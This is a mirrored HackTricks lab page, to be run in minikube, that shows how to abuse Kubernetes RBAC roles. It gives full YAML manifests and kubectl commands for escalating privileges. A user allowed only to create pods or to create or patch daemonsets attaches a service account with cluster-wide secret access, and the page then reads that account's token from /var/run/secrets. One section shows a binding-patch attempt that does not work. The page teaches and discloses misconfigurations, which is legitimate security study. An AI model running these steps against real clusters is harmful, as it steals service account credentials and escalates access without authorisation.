mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-07 18:58:54 +00:00
419 lines
11 KiB
Markdown
419 lines
11 KiB
Markdown
# K8s Roles Abuse Lab
|
|
|
|
You can run these labs just inside **minikube**.
|
|
|
|
## Pod Creation -> Escalate to ns SAs
|
|
|
|
We are going to create:
|
|
|
|
* A **Service account "test-sa"** with a cluster privilege to **read secrets**
|
|
* A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
|
|
* **Permissions** to list and **create** pods to a user called "**Test**" will be given
|
|
* A Role "test-r" and RoleBinding "test-rb" will be created
|
|
* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
|
|
* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
|
|
* This is the way yo show the user could escalate privileges this way
|
|
|
|
{% hint style="info" %}
|
|
To create the scenario an admin account is used.\
|
|
Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
|
|
{% endhint %}
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["pods"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Check test-sa can access kube-system secrets
|
|
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get pods
|
|
|
|
# Create a pod as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: v1
|
|
kind: Pod
|
|
metadata:
|
|
name: test-pod
|
|
namespace: default
|
|
spec:
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete pod test-pod
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
## Create Daemonset
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["apps"]
|
|
resources: ["daemonsets"]
|
|
verbs: ["get", "list", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Check test-sa can access kube-system secrets
|
|
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get daemonsets
|
|
|
|
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete daemonset alpine
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
### Patch Daemonset
|
|
|
|
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
|
|
|
|
If your user has the **verb update instead of patch, this won't work**.
|
|
|
|
```bash
|
|
# Create Service Account test-sa
|
|
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
|
|
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
|
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["apps"]
|
|
resources: ["daemonsets"]
|
|
verbs: ["get", "list", "patch"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: ClusterRole
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-cr
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["secrets"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: ClusterRoleBinding
|
|
metadata:
|
|
name: test-crb
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
namespace: default
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: ClusterRole
|
|
name: test-cr
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
automountServiceAccountToken: false
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100']' | kubectl apply -f -
|
|
|
|
# Check user User can get pods in namespace default
|
|
kubectl --as Test -n default get daemonsets
|
|
|
|
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: apps/v1
|
|
kind: DaemonSet
|
|
metadata:
|
|
name: alpine
|
|
namespace: default
|
|
spec:
|
|
selector:
|
|
matchLabels:
|
|
name: alpine
|
|
template:
|
|
metadata:
|
|
labels:
|
|
name: alpine
|
|
spec:
|
|
serviceAccountName: test-sa
|
|
automountServiceAccountToken: true
|
|
hostNetwork: true
|
|
containers:
|
|
- name: alpine
|
|
image: alpine
|
|
command: ['/bin/sh']
|
|
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete daemonset alpine
|
|
kubectl delete clusterrolebinding test-crb
|
|
kubectl delete clusterrole test-cr
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete role test-r
|
|
kubectl delete serviceaccount test-sa
|
|
```
|
|
|
|
## Not work - Create/Patch Bindings
|
|
|
|
**Doesn't work:**
|
|
|
|
* **Create a new RoleBinding** just with the verb **create**
|
|
* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
|
* You cannot do this to assign the role to yourself or to a different SA
|
|
* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
|
* You cannot do this to assign the role to yourself or to a different SA
|
|
|
|
```bash
|
|
echo 'apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa
|
|
---
|
|
apiVersion: v1
|
|
kind: ServiceAccount
|
|
metadata:
|
|
name: test-sa2
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r
|
|
rules:
|
|
- apiGroups: ["rbac.authorization.k8s.io"]
|
|
resources: ["rolebindings"]
|
|
verbs: ["get", "patch"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb
|
|
subjects:
|
|
- kind: User
|
|
name: Test
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r
|
|
apiGroup: rbac.authorization.k8s.io
|
|
---
|
|
kind: Role
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
metadata:
|
|
name: test-r2
|
|
rules:
|
|
- apiGroups: [""]
|
|
resources: ["pods"]
|
|
verbs: ["get", "list", "delete", "patch", "create"]
|
|
---
|
|
apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-rb2
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r2
|
|
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
|
|
|
# Create a pod as user Test with the SA test-sa (privesc step)
|
|
echo "apiVersion: rbac.authorization.k8s.io/v1
|
|
kind: RoleBinding
|
|
metadata:
|
|
name: test-r2
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: test-sa2
|
|
apiGroup: ""
|
|
roleRef:
|
|
kind: Role
|
|
name: test-r2
|
|
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
|
|
|
|
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
|
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
|
|
|
# Clean the scenario
|
|
kubectl delete rolebinding test-rb
|
|
kubectl delete rolebinding test-rb2
|
|
kubectl delete role test-r
|
|
kubectl delete role test-r2
|
|
kubectl delete serviceaccount test-sa
|
|
kubectl delete serviceaccount test-sa2
|
|
```
|